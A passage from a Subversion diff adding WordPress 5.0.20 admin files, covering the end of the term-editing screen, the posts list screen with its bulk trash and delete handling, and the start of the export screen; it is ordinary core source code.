+<?php $wp_list_table->search_box( $tax->labels->search_items, 'tag' ); ?>
+
+</form>
+
+<div id="col-container" class="wp-clearfix">
+
+<div id="col-left">
+<div class="col-wrap">
+
+<?php
+
+if ( current_user_can($tax->cap->edit_terms) ) {
+	if ( 'category' == $taxonomy ) {
+		/**
+ 		 * Fires before the Add Category form.
+		 *
+		 * @since 2.1.0
+		 * @deprecated 3.0.0 Use {$taxonomy}_pre_add_form instead.
+		 *
+		 * @param object $arg Optional arguments cast to an object.
+		 */
+		do_action( 'add_category_form_pre', (object) array( 'parent' => 0 ) );
+	} elseif ( 'link_category' == $taxonomy ) {
+		/**
+		 * Fires before the link category form.
+		 *
+		 * @since 2.3.0
+		 * @deprecated 3.0.0 Use {$taxonomy}_pre_add_form instead.
+		 *
+		 * @param object $arg Optional arguments cast to an object.
+		 */
+		do_action( 'add_link_category_form_pre', (object) array( 'parent' => 0 ) );
+	} else {
+		/**
+		 * Fires before the Add Tag form.
+		 *
+		 * @since 2.5.0
+		 * @deprecated 3.0.0 Use {$taxonomy}_pre_add_form instead.
+		 *
+		 * @param string $taxonomy The taxonomy slug.
+		 */
+		do_action( 'add_tag_form_pre', $taxonomy );
+	}
+
+	/**
+	 * Fires before the Add Term form for all taxonomies.
+	 *
+	 * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $taxonomy The taxonomy slug.
+	 */
+	do_action( "{$taxonomy}_pre_add_form", $taxonomy );
+?>
+
+<div class="form-wrap">
+<h2><?php echo $tax->labels->add_new_item; ?></h2>
+<form id="addtag" method="post" action="edit-tags.php" class="validate"<?php
+/**
+ * Fires inside the Add Tag form tag.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.7.0
+ */
+do_action( "{$taxonomy}_term_new_form_tag" );
+?>>
+<input type="hidden" name="action" value="add-tag" />
+<input type="hidden" name="screen" value="<?php echo esc_attr($current_screen->id); ?>" />
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr($taxonomy); ?>" />
+<input type="hidden" name="post_type" value="<?php echo esc_attr($post_type); ?>" />
+<?php wp_nonce_field('add-tag', '_wpnonce_add-tag'); ?>
+
+<div class="form-field form-required term-name-wrap">
+	<label for="tag-name"><?php _ex( 'Name', 'term name' ); ?></label>
+	<input name="tag-name" id="tag-name" type="text" value="" size="40" aria-required="true" />
+	<p><?php _e('The name is how it appears on your site.'); ?></p>
+</div>
+<?php if ( ! global_terms_enabled() ) : ?>
+<div class="form-field term-slug-wrap">
+	<label for="tag-slug"><?php _e( 'Slug' ); ?></label>
+	<input name="slug" id="tag-slug" type="text" value="" size="40" />
+	<p><?php _e('The &#8220;slug&#8221; is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.'); ?></p>
+</div>
+<?php endif; // global_terms_enabled() ?>
+<?php if ( is_taxonomy_hierarchical($taxonomy) ) : ?>
+<div class="form-field term-parent-wrap">
+	<label for="parent"><?php echo esc_html( $tax->labels->parent_item ); ?></label>
+	<?php
+	$dropdown_args = array(
+		'hide_empty'       => 0,
+		'hide_if_empty'    => false,
+		'taxonomy'         => $taxonomy,
+		'name'             => 'parent',
+		'orderby'          => 'name',
+		'hierarchical'     => true,
+		'show_option_none' => __( 'None' ),
+	);
+
+	/**
+	 * Filters the taxonomy parent drop-down on the Edit Term page.
+	 *
+	 * @since 3.7.0
+	 * @since 4.2.0 Added `$context` parameter.
+	 *
+	 * @param array  $dropdown_args {
+	 *     An array of taxonomy parent drop-down arguments.
+	 *
+	 *     @type int|bool $hide_empty       Whether to hide terms not attached to any posts. Default 0|false.
+	 *     @type bool     $hide_if_empty    Whether to hide the drop-down if no terms exist. Default false.
+	 *     @type string   $taxonomy         The taxonomy slug.
+	 *     @type string   $name             Value of the name attribute to use for the drop-down select element.
+	 *                                      Default 'parent'.
+	 *     @type string   $orderby          The field to order by. Default 'name'.
+	 *     @type bool     $hierarchical     Whether the taxonomy is hierarchical. Default true.
+	 *     @type string   $show_option_none Label to display if there are no terms. Default 'None'.
+	 * }
+	 * @param string $taxonomy The taxonomy slug.
+	 * @param string $context  Filter context. Accepts 'new' or 'edit'.
+	 */
+	$dropdown_args = apply_filters( 'taxonomy_parent_dropdown_args', $dropdown_args, $taxonomy, 'new' );
+
+	wp_dropdown_categories( $dropdown_args );
+	?>
+	<?php if ( 'category' == $taxonomy ) : ?>
+		<p><?php _e( 'Categories, unlike tags, can have a hierarchy. You might have a Jazz category, and under that have children categories for Bebop and Big Band. Totally optional.' ); ?></p>
+	<?php else : ?>
+		<p><?php _e( 'Assign a parent term to create a hierarchy. The term Jazz, for example, would be the parent of Bebop and Big Band.' ); ?></p>
+	<?php endif; ?>
+</div>
+<?php endif; // is_taxonomy_hierarchical() ?>
+<div class="form-field term-description-wrap">
+	<label for="tag-description"><?php _e( 'Description' ); ?></label>
+	<textarea name="description" id="tag-description" rows="5" cols="40"></textarea>
+	<p><?php _e('The description is not prominent by default; however, some themes may show it.'); ?></p>
+</div>
+
+<?php
+if ( ! is_taxonomy_hierarchical( $taxonomy ) ) {
+	/**
+	 * Fires after the Add Tag form fields for non-hierarchical taxonomies.
+	 *
+	 * @since 3.0.0
+	 *
+	 * @param string $taxonomy The taxonomy slug.
+	 */
+	do_action( 'add_tag_form_fields', $taxonomy );
+}
+
+/**
+ * Fires after the Add Term form fields.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param string $taxonomy The taxonomy slug.
+ */
+do_action( "{$taxonomy}_add_form_fields", $taxonomy );
+
+submit_button( $tax->labels->add_new_item );
+
+if ( 'category' == $taxonomy ) {
+	/**
+	 * Fires at the end of the Edit Category form.
+	 *
+	 * @since 2.1.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_add_form instead.
+	 *
+	 * @param object $arg Optional arguments cast to an object.
+	 */
+	do_action( 'edit_category_form', (object) array( 'parent' => 0 ) );
+} elseif ( 'link_category' == $taxonomy ) {
+	/**
+	 * Fires at the end of the Edit Link form.
+	 *
+	 * @since 2.3.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_add_form instead.
+	 *
+	 * @param object $arg Optional arguments cast to an object.
+	 */
+	do_action( 'edit_link_category_form', (object) array( 'parent' => 0 ) );
+} else {
+	/**
+	 * Fires at the end of the Add Tag form.
+	 *
+	 * @since 2.7.0
+	 * @deprecated 3.0.0 Use {$taxonomy}_add_form instead.
+	 *
+	 * @param string $taxonomy The taxonomy slug.
+	 */
+	do_action( 'add_tag_form', $taxonomy );
+}
+
+/**
+ * Fires at the end of the Add Term form for all taxonomies.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param string $taxonomy The taxonomy slug.
+ */
+do_action( "{$taxonomy}_add_form", $taxonomy );
+?>
+</form></div>
+<?php } ?>
+
+</div>
+</div><!-- /col-left -->
+
+<div id="col-right">
+<div class="col-wrap">
+
+<?php $wp_list_table->views(); ?>
+
+<form id="posts-filter" method="post">
+<input type="hidden" name="taxonomy" value="<?php echo esc_attr( $taxonomy ); ?>" />
+<input type="hidden" name="post_type" value="<?php echo esc_attr( $post_type ); ?>" />
+
+<?php $wp_list_table->display(); ?>
+
+</form>
+
+<?php if ( 'category' == $taxonomy ) : ?>
+<div class="form-wrap edit-term-notes">
+<p>
+	<?php
+	echo '<strong>' . __( 'Note:' ) . '</strong><br />';
+	printf(
+		/* translators: %s: default category */
+		__( 'Deleting a category does not delete the posts in that category. Instead, posts that were only assigned to the deleted category are set to the category %s.' ),
+		/** This filter is documented in wp-includes/category-template.php */
+		'<strong>' . apply_filters( 'the_category', get_cat_name( get_option( 'default_category') ), '', '' ) . '</strong>'
+	);
+	?>
+</p>
+<?php if ( current_user_can( 'import' ) ) : ?>
+<p><?php printf( __( 'Categories can be selectively converted to tags using the <a href="%s">category to tag converter</a>.' ), esc_url( $import_link ) ) ?></p>
+<?php endif; ?>
+</div>
+<?php elseif ( 'post_tag' == $taxonomy && current_user_can( 'import' ) ) : ?>
+<div class="form-wrap edit-term-notes">
+<p><?php printf( __( 'Tags can be selectively converted to categories using the <a href="%s">tag to category converter</a>.' ), esc_url( $import_link ) ) ;?></p>
+</div>
+<?php endif;
+
+/**
+ * Fires after the taxonomy list table.
+ *
+ * The dynamic portion of the hook name, `$taxonomy`, refers to the taxonomy slug.
+ *
+ * @since 3.0.0
+ *
+ * @param string $taxonomy The taxonomy name.
+ */
+do_action( "after-{$taxonomy}-table", $taxonomy );
+?>
+
+</div>
+</div><!-- /col-right -->
+
+</div><!-- /col-container -->
+</div><!-- /wrap -->
+
+<?php if ( ! wp_is_mobile() ) : ?>
+<script type="text/javascript">
+try{document.forms.addtag['tag-name'].focus();}catch(e){}
+</script>
+<?php
+endif;
+
+$wp_list_table->inline_edit();
+
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/edit.php
===================================================================
--- /tags/5.0.20/src/wp-admin/edit.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/edit.php	(revision 56912)
@@ -0,0 +1,388 @@
+<?php
+/**
+ * Edit Posts Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( ! $typenow )
+	wp_die( __( 'Invalid post type.' ) );
+
+if ( ! in_array( $typenow, get_post_types( array( 'show_ui' => true ) ) ) ) {
+	wp_die( __( 'Sorry, you are not allowed to edit posts in this post type.' ) );
+}
+
+if ( 'attachment' === $typenow ) {
+	if ( wp_redirect( admin_url( 'upload.php' ) ) ) {
+		exit;
+	}
+}
+
+/**
+ * @global string       $post_type
+ * @global WP_Post_Type $post_type_object
+ */
+global $post_type, $post_type_object;
+
+$post_type = $typenow;
+$post_type_object = get_post_type_object( $post_type );
+
+if ( ! $post_type_object )
+	wp_die( __( 'Invalid post type.' ) );
+
+if ( ! current_user_can( $post_type_object->cap->edit_posts ) ) {
+	wp_die(
+		'<h1>' . __( 'You need a higher level of permission.' ) . '</h1>' .
+		'<p>' . __( 'Sorry, you are not allowed to edit posts in this post type.' ) . '</p>',
+		403
+	);
+}
+
+$wp_list_table = _get_list_table('WP_Posts_List_Table');
+$pagenum = $wp_list_table->get_pagenum();
+
+// Back-compat for viewing comments of an entry
+foreach ( array( 'p', 'attachment_id', 'page_id' ) as $_redirect ) {
+	if ( ! empty( $_REQUEST[ $_redirect ] ) ) {
+		wp_redirect( admin_url( 'edit-comments.php?p=' . absint( $_REQUEST[ $_redirect ] ) ) );
+		exit;
+	}
+}
+unset( $_redirect );
+
+if ( 'post' != $post_type ) {
+	$parent_file = "edit.php?post_type=$post_type";
+	$submenu_file = "edit.php?post_type=$post_type";
+	$post_new_file = "post-new.php?post_type=$post_type";
+} else {
+	$parent_file = 'edit.php';
+	$submenu_file = 'edit.php';
+	$post_new_file = 'post-new.php';
+}
+
+$doaction = $wp_list_table->current_action();
+
+if ( $doaction ) {
+	check_admin_referer('bulk-posts');
+
+	$sendback = remove_query_arg( array('trashed', 'untrashed', 'deleted', 'locked', 'ids'), wp_get_referer() );
+	if ( ! $sendback )
+		$sendback = admin_url( $parent_file );
+	$sendback = add_query_arg( 'paged', $pagenum, $sendback );
+	if ( strpos($sendback, 'post.php') !== false )
+		$sendback = admin_url($post_new_file);
+
+	if ( 'delete_all' == $doaction ) {
+		// Prepare for deletion of all posts with a specified post status (i.e. Empty trash).
+		$post_status = preg_replace('/[^a-z0-9_-]+/i', '', $_REQUEST['post_status']);
+		// Validate the post status exists.
+		if ( get_post_status_object( $post_status ) ) {
+			$post_ids = $wpdb->get_col( $wpdb->prepare( "SELECT ID FROM $wpdb->posts WHERE post_type=%s AND post_status = %s", $post_type, $post_status ) );
+		}
+		$doaction = 'delete';
+	} elseif ( isset( $_REQUEST['media'] ) ) {
+		$post_ids = $_REQUEST['media'];
+	} elseif ( isset( $_REQUEST['ids'] ) ) {
+		$post_ids = explode( ',', $_REQUEST['ids'] );
+	} elseif ( !empty( $_REQUEST['post'] ) ) {
+		$post_ids = array_map('intval', $_REQUEST['post']);
+	}
+
+	if ( !isset( $post_ids ) ) {
+		wp_redirect( $sendback );
+		exit;
+	}
+
+	switch ( $doaction ) {
+		case 'trash':
+			$trashed = $locked = 0;
+
+			foreach ( (array) $post_ids as $post_id ) {
+				if ( !current_user_can( 'delete_post', $post_id) )
+					wp_die( __('Sorry, you are not allowed to move this item to the Trash.') );
+
+				if ( wp_check_post_lock( $post_id ) ) {
+					$locked++;
+					continue;
+				}
+
+				if ( !wp_trash_post($post_id) )
+					wp_die( __('Error in moving to Trash.') );
+
+				$trashed++;
+			}
+
+			$sendback = add_query_arg( array('trashed' => $trashed, 'ids' => join(',', $post_ids), 'locked' => $locked ), $sendback );
+			break;
+		case 'untrash':
+			$untrashed = 0;
+			foreach ( (array) $post_ids as $post_id ) {
+				if ( !current_user_can( 'delete_post', $post_id) )
+					wp_die( __('Sorry, you are not allowed to restore this item from the Trash.') );
+
+				if ( !wp_untrash_post($post_id) )
+					wp_die( __('Error in restoring from Trash.') );
+
+				$untrashed++;
+			}
+			$sendback = add_query_arg('untrashed', $untrashed, $sendback);
+			break;
+		case 'delete':
+			$deleted = 0;
+			foreach ( (array) $post_ids as $post_id ) {
+				$post_del = get_post($post_id);
+
+				if ( !current_user_can( 'delete_post', $post_id ) )
+					wp_die( __('Sorry, you are not allowed to delete this item.') );
+
+				if ( $post_del->post_type == 'attachment' ) {
+					if ( ! wp_delete_attachment($post_id) )
+						wp_die( __('Error in deleting.') );
+				} else {
+					if ( !wp_delete_post($post_id) )
+						wp_die( __('Error in deleting.') );
+				}
+				$deleted++;
+			}
+			$sendback = add_query_arg('deleted', $deleted, $sendback);
+			break;
+		case 'edit':
+			if ( isset($_REQUEST['bulk_edit']) ) {
+				$done = bulk_edit_posts($_REQUEST);
+
+				if ( is_array($done) ) {
+					$done['updated'] = count( $done['updated'] );
+					$done['skipped'] = count( $done['skipped'] );
+					$done['locked'] = count( $done['locked'] );
+					$sendback = add_query_arg( $done, $sendback );
+				}
+			}
+			break;
+		default:
+			/** This action is documented in wp-admin/edit-comments.php */
+			$sendback = apply_filters( 'handle_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $post_ids );
+			break;
+	}
+
+	$sendback = remove_query_arg( array('action', 'action2', 'tags_input', 'post_author', 'comment_status', 'ping_status', '_status', 'post', 'bulk_edit', 'post_view'), $sendback );
+
+	wp_redirect($sendback);
+	exit();
+} elseif ( ! empty($_REQUEST['_wp_http_referer']) ) {
+	 wp_redirect( remove_query_arg( array('_wp_http_referer', '_wpnonce'), wp_unslash($_SERVER['REQUEST_URI']) ) );
+	 exit;
+}
+
+$wp_list_table->prepare_items();
+
+wp_enqueue_script('inline-edit-post');
+wp_enqueue_script('heartbeat');
+
+if ( 'wp_block' === $post_type ) {
+	wp_enqueue_script( 'wp-list-reusable-blocks' );
+	wp_enqueue_style( 'wp-list-reusable-blocks' );
+}
+
+$title = $post_type_object->labels->name;
+
+if ( 'post' == $post_type ) {
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'overview',
+	'title'		=> __('Overview'),
+	'content'	=>
+		'<p>' . __('This screen provides access to all of your posts. You can customize the display of this screen to suit your workflow.') . '</p>'
+	) );
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'screen-content',
+	'title'		=> __('Screen Content'),
+	'content'	=>
+		'<p>' . __('You can customize the display of this screen&#8217;s contents in a number of ways:') . '</p>' .
+		'<ul>' .
+			'<li>' . __('You can hide/display columns based on your needs and decide how many posts to list per screen using the Screen Options tab.') . '</li>' .
+			'<li>' . __( 'You can filter the list of posts by post status using the text links above the posts list to only show posts with that status. The default view is to show all posts.' ) . '</li>' .
+			'<li>' . __('You can view posts in a simple title list or with an excerpt using the Screen Options tab.') . '</li>' .
+			'<li>' . __('You can refine the list to show only posts in a specific category or from a specific month by using the dropdown menus above the posts list. Click the Filter button after making your selection. You also can refine the list by clicking on the post author, category or tag in the posts list.') . '</li>' .
+		'</ul>'
+	) );
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'action-links',
+	'title'		=> __('Available Actions'),
+	'content'	=>
+		'<p>' . __('Hovering over a row in the posts list will display action links that allow you to manage your post. You can perform the following actions:') . '</p>' .
+		'<ul>' .
+			'<li>' . __('<strong>Edit</strong> takes you to the editing screen for that post. You can also reach that screen by clicking on the post title.') . '</li>' .
+			'<li>' . __('<strong>Quick Edit</strong> provides inline access to the metadata of your post, allowing you to update post details without leaving this screen.') . '</li>' .
+			'<li>' . __('<strong>Trash</strong> removes your post from this list and places it in the trash, from which you can permanently delete it.') . '</li>' .
+			'<li>' . __('<strong>Preview</strong> will show you what your draft post will look like if you publish it. View will take you to your live site to view the post. Which link is available depends on your post&#8217;s status.') . '</li>' .
+		'</ul>'
+	) );
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'bulk-actions',
+	'title'		=> __('Bulk Actions'),
+	'content'	=>
+		'<p>' . __('You can also edit or move multiple posts to the trash at once. Select the posts you want to act on using the checkboxes, then select the action you want to take from the Bulk Actions menu and click Apply.') . '</p>' .
+				'<p>' . __('When using Bulk Edit, you can change the metadata (categories, author, etc.) for all selected posts at once. To remove a post from the grouping, just click the x next to its name in the Bulk Edit area that appears.') . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Posts_Screen">Documentation on Managing Posts</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+	);
+
+} elseif ( 'page' == $post_type ) {
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'overview',
+	'title'		=> __('Overview'),
+	'content'	=>
+		'<p>' . __('Pages are similar to posts in that they have a title, body text, and associated metadata, but they are different in that they are not part of the chronological blog stream, kind of like permanent posts. Pages are not categorized or tagged, but can have a hierarchy. You can nest pages under other pages by making one the &#8220;Parent&#8221; of the other, creating a group of pages.') . '</p>'
+	) );
+	get_current_screen()->add_help_tab( array(
+	'id'		=> 'managing-pages',
+	'title'		=> __('Managing Pages'),
+	'content'	=>
+		'<p>' . __('Managing pages is very similar to managing posts, and the screens can be customized in the same way.') . '</p>' .
+		'<p>' . __('You can also perform the same types of actions, including narrowing the list by using the filters, acting on a page using the action links that appear when you hover over a row, or using the Bulk Actions menu to edit the metadata for multiple pages at once.') . '</p>'
+	) );
+
+	get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Pages_Screen">Documentation on Managing Pages</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+	);
+
+}
+
+get_current_screen()->set_screen_reader_content( array(
+	'heading_views'      => $post_type_object->labels->filter_items_list,
+	'heading_pagination' => $post_type_object->labels->items_list_navigation,
+	'heading_list'       => $post_type_object->labels->items_list,
+) );
+
+add_screen_option( 'per_page', array( 'default' => 20, 'option' => 'edit_' . $post_type . '_per_page' ) );
+
+$bulk_counts = array(
+	'updated'   => isset( $_REQUEST['updated'] )   ? absint( $_REQUEST['updated'] )   : 0,
+	'locked'    => isset( $_REQUEST['locked'] )    ? absint( $_REQUEST['locked'] )    : 0,
+	'deleted'   => isset( $_REQUEST['deleted'] )   ? absint( $_REQUEST['deleted'] )   : 0,
+	'trashed'   => isset( $_REQUEST['trashed'] )   ? absint( $_REQUEST['trashed'] )   : 0,
+	'untrashed' => isset( $_REQUEST['untrashed'] ) ? absint( $_REQUEST['untrashed'] ) : 0,
+);
+
+$bulk_messages = array();
+$bulk_messages['post'] = array(
+	'updated'   => _n( '%s post updated.', '%s posts updated.', $bulk_counts['updated'] ),
+	'locked'    => ( 1 == $bulk_counts['locked'] ) ? __( '1 post not updated, somebody is editing it.' ) :
+	                   _n( '%s post not updated, somebody is editing it.', '%s posts not updated, somebody is editing them.', $bulk_counts['locked'] ),
+	'deleted'   => _n( '%s post permanently deleted.', '%s posts permanently deleted.', $bulk_counts['deleted'] ),
+	'trashed'   => _n( '%s post moved to the Trash.', '%s posts moved to the Trash.', $bulk_counts['trashed'] ),
+	'untrashed' => _n( '%s post restored from the Trash.', '%s posts restored from the Trash.', $bulk_counts['untrashed'] ),
+);
+$bulk_messages['page'] = array(
+	'updated'   => _n( '%s page updated.', '%s pages updated.', $bulk_counts['updated'] ),
+	'locked'    => ( 1 == $bulk_counts['locked'] ) ? __( '1 page not updated, somebody is editing it.' ) :
+	                   _n( '%s page not updated, somebody is editing it.', '%s pages not updated, somebody is editing them.', $bulk_counts['locked'] ),
+	'deleted'   => _n( '%s page permanently deleted.', '%s pages permanently deleted.', $bulk_counts['deleted'] ),
+	'trashed'   => _n( '%s page moved to the Trash.', '%s pages moved to the Trash.', $bulk_counts['trashed'] ),
+	'untrashed' => _n( '%s page restored from the Trash.', '%s pages restored from the Trash.', $bulk_counts['untrashed'] ),
+);
+$bulk_messages['wp_block'] = array(
+	'updated'   => _n( '%s block updated.', '%s blocks updated.', $bulk_counts['updated'] ),
+	'locked'    => ( 1 == $bulk_counts['locked'] ) ? __( '1 block not updated, somebody is editing it.' ) : _n( '%s block not updated, somebody is editing it.', '%s blocks not updated, somebody is editing them.', $bulk_counts['locked'] ),
+	'deleted'   => _n( '%s block permanently deleted.', '%s blocks permanently deleted.', $bulk_counts['deleted'] ),
+	'trashed'   => _n( '%s block moved to the Trash.', '%s blocks moved to the Trash.', $bulk_counts['trashed'] ),
+	'untrashed' => _n( '%s block restored from the Trash.', '%s blocks restored from the Trash.', $bulk_counts['untrashed'] ),
+);
+
+/**
+ * Filters the bulk action updated messages.
+ *
+ * By default, custom post types use the messages for the 'post' post type.
+ *
+ * @since 3.7.0
+ *
+ * @param array $bulk_messages Arrays of messages, each keyed by the corresponding post type. Messages are
+ *                             keyed with 'updated', 'locked', 'deleted', 'trashed', and 'untrashed'.
+ * @param array $bulk_counts   Array of item counts for each message, used to build internationalized strings.
+ */
+$bulk_messages = apply_filters( 'bulk_post_updated_messages', $bulk_messages, $bulk_counts );
+$bulk_counts = array_filter( $bulk_counts );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+<div class="wrap">
+<h1 class="wp-heading-inline"><?php
+echo esc_html( $post_type_object->labels->name );
+?></h1>
+
+<?php
+if ( current_user_can( $post_type_object->cap->create_posts ) ) {
+	echo ' <a href="' . esc_url( admin_url( $post_new_file ) ) . '" class="page-title-action">' . esc_html( $post_type_object->labels->add_new ) . '</a>';
+}
+
+if ( isset( $_REQUEST['s'] ) && strlen( $_REQUEST['s'] ) ) {
+	/* translators: %s: search keywords */
+	printf( ' <span class="subtitle">' . __( 'Search results for &#8220;%s&#8221;' ) . '</span>', get_search_query() );
+}
+?>
+
+<hr class="wp-header-end">
+
+<?php
+// If we have a bulk message to issue:
+$messages = array();
+foreach ( $bulk_counts as $message => $count ) {
+	if ( isset( $bulk_messages[ $post_type ][ $message ] ) )
+		$messages[] = sprintf( $bulk_messages[ $post_type ][ $message ], number_format_i18n( $count ) );
+	elseif ( isset( $bulk_messages['post'][ $message ] ) )
+		$messages[] = sprintf( $bulk_messages['post'][ $message ], number_format_i18n( $count ) );
+
+	if ( $message == 'trashed' && isset( $_REQUEST['ids'] ) ) {
+		$ids = preg_replace( '/[^0-9,]/', '', $_REQUEST['ids'] );
+		$messages[] = '<a href="' . esc_url( wp_nonce_url( "edit.php?post_type=$post_type&doaction=undo&action=untrash&ids=$ids", "bulk-posts" ) ) . '">' . __('Undo') . '</a>';
+	}
+}
+
+if ( $messages )
+	echo '<div id="message" class="updated notice is-dismissible"><p>' . join( ' ', $messages ) . '</p></div>';
+unset( $messages );
+
+$_SERVER['REQUEST_URI'] = remove_query_arg( array( 'locked', 'skipped', 'updated', 'deleted', 'trashed', 'untrashed' ), $_SERVER['REQUEST_URI'] );
+?>
+
+<?php $wp_list_table->views(); ?>
+
+<form id="posts-filter" method="get">
+
+<?php $wp_list_table->search_box( $post_type_object->labels->search_items, 'post' ); ?>
+
+<input type="hidden" name="post_status" class="post_status_page" value="<?php echo !empty($_REQUEST['post_status']) ? esc_attr($_REQUEST['post_status']) : 'all'; ?>" />
+<input type="hidden" name="post_type" class="post_type_page" value="<?php echo $post_type; ?>" />
+
+<?php if ( ! empty( $_REQUEST['author'] ) ) { ?>
+<input type="hidden" name="author" value="<?php echo esc_attr( $_REQUEST['author'] ); ?>" />
+<?php } ?>
+
+<?php if ( ! empty( $_REQUEST['show_sticky'] ) ) { ?>
+<input type="hidden" name="show_sticky" value="1" />
+<?php } ?>
+
+<?php $wp_list_table->display(); ?>
+
+</form>
+
+<?php
+if ( $wp_list_table->has_items() )
+	$wp_list_table->inline_edit();
+?>
+
+<div id="ajax-response"></div>
+<br class="clear" />
+</div>
+
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/5.0.20/src/wp-admin/export.php
===================================================================
--- /tags/5.0.20/src/wp-admin/export.php	(revision 56912)
+++ /tags/5.0.20/src/wp-admin/export.php	(revision 56912)
@@ -0,0 +1,294 @@
+<?php
+/**
+ * WordPress Export Administration Screen
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** Load WordPress Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !current_user_can('export') )
+	wp_die(__('Sorry, you are not allowed to export the content of this site.'));
+
+/** Load WordPress export API */
+require_once( ABSPATH . 'wp-admin/includes/export.php' );
+$title = __('Export');
+
+/**
+ * Display JavaScript on the page.
+ *
+ * @since 3.5.0
+ */
+function export_add_js() {
+?>
+<script type="text/javascript">
+	jQuery(document).ready(function($){
+ 		var form = $('#export-filters'),
+ 			filters = form.find('.export-filters');
+ 		filters.hide();
+ 		form.find('input:radio').change(function() {
+			filters.slideUp('fast');
+			switch ( $(this).val() ) {
+				case 'attachment': $('#attachment-filters').slideDown(); break;
+				case 'posts': $('#post-filters').slideDown(); break;
+				case 'pages': $('#page-filters').slideDown(); break;
+			}
+ 		});
+	});
+</script>
+<?php
+}
+add_action( 'admin_head', 'export_add_js' );
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'overview',
+	'title'   => __('Overview'),
+	'content' => '<p>' . __('You can export a file of your site&#8217;s content in order to import it into another installation or platform. The export file will be an XML file format called WXR. Posts, pages, comments, custom fields, categories, and tags can be included. You can choose for the WXR file to include only certain posts or pages by setting the dropdown filters to limit the export by category, author, date range by month, or publishing status.') . '</p>' .
+		'<p>' . __('Once generated, your WXR file can be imported by another WordPress site or by another blogging platform able to access this format.') . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="https://codex.wordpress.org/Tools_Export_Screen">Documentation on Export</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/">Support Forums</a>') . '</p>'
+);
+
+// If the 'download' URL parameter is set, a WXR export file is baked and returned.
+if ( isset( $_GET['download'] ) ) {
+	$args = array();
+
+	if ( ! isset( $_GET['content'] ) || 'all' == $_GET['content'] ) {
+		$args['content'] = 'all';
+	} elseif ( 'posts' == $_GET['content'] ) {
+		$args['content'] = 'post';
+
+		if ( $_GET['cat'] )
+			$args['category'] = (int) $_GET['cat'];
+
+		if ( $_GET['post_author'] )
+			$args['author'] = (int) $_GET['post_author'];
+
+		if ( $_GET['post_start_date'] || $_GET['post_end_date'] ) {
+			$args['start_date'] = $_GET['post_start_date'];
+			$args['end_date'] = $_GET['post_end_date'];
+		}
+
+		if ( $_GET['post_status'] )
+			$args['status'] = $_GET['post_status'];
+	} elseif ( 'pages' == $_GET['content'] ) {
+		$args['content'] = 'page';
+
+		if ( $_GET['page_author'] )
+			$args['author'] = (int) $_GET['page_author'];
+
+		if ( $_GET['page_start_date'] || $_GET['page_end_date'] ) {
+			$args['start_date'] = $_GET['page_start_date'];
+			$args['end_date'] = $_GET['page_end_date'];
+		}
+
+		if ( $_GET['page_status'] )
+			$args['status'] = $_GET['page_status'];
+	} elseif ( 'attachment' == $_GET['content'] ) {
+		$args['content'] = 'attachment';
+
+		if ( $_GET['attachment_start_date'] || $_GET['attachment_end_date'] ) {
+			$args['start_date'] = $_GET['attachment_start_date'];
+			$args['end_date'] = $_GET['attachment_end_date'];
+		}
+	}
+	else {
+		$args['content'] = $_GET['content'];
+	}
+
+	/**
+	 * Filters the export args.
+	 *
+	 * @since 3.5.0
+	 *
+	 * @param array $args The arguments to send to the exporter.
+	 */
+	$args = apply_filters( 'export_args', $args );
+
+	export_wp( $args );
+	die();
+}
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+/**
+ * Create the date options fields for exporting a given post type.
+ *
+ * @global wpdb      $wpdb      WordPress database abstraction object.
+ * @global WP_Locale $wp_locale Date and Time Locale object.
+ *
+ * @since 3.1.0
+ *
+ * @param string $post_type The post type. Default 'post'.
+ */
+function export_date_options( $post_type = 'post' ) {
+	global $wpdb, $wp_locale;
+
+	$months = $wpdb->get_results( $wpdb->prepare( "
+		SELECT DISTINCT YEAR( post_date ) AS year, MONTH( post_date ) AS month
+		FROM $wpdb->posts
+		WHERE post_type = %s AND post_status != 'auto-draft'
+		ORDER BY post_date DESC
+	", $post_type ) );
+
+	$month_count = count( $months );
+	if ( !$month_count || ( 1 == $month_count && 0 == $months[0]->month ) )
+		return;
+
+	foreach ( $months as $date ) {
+		if ( 0 == $date->year )
+			continue;
+
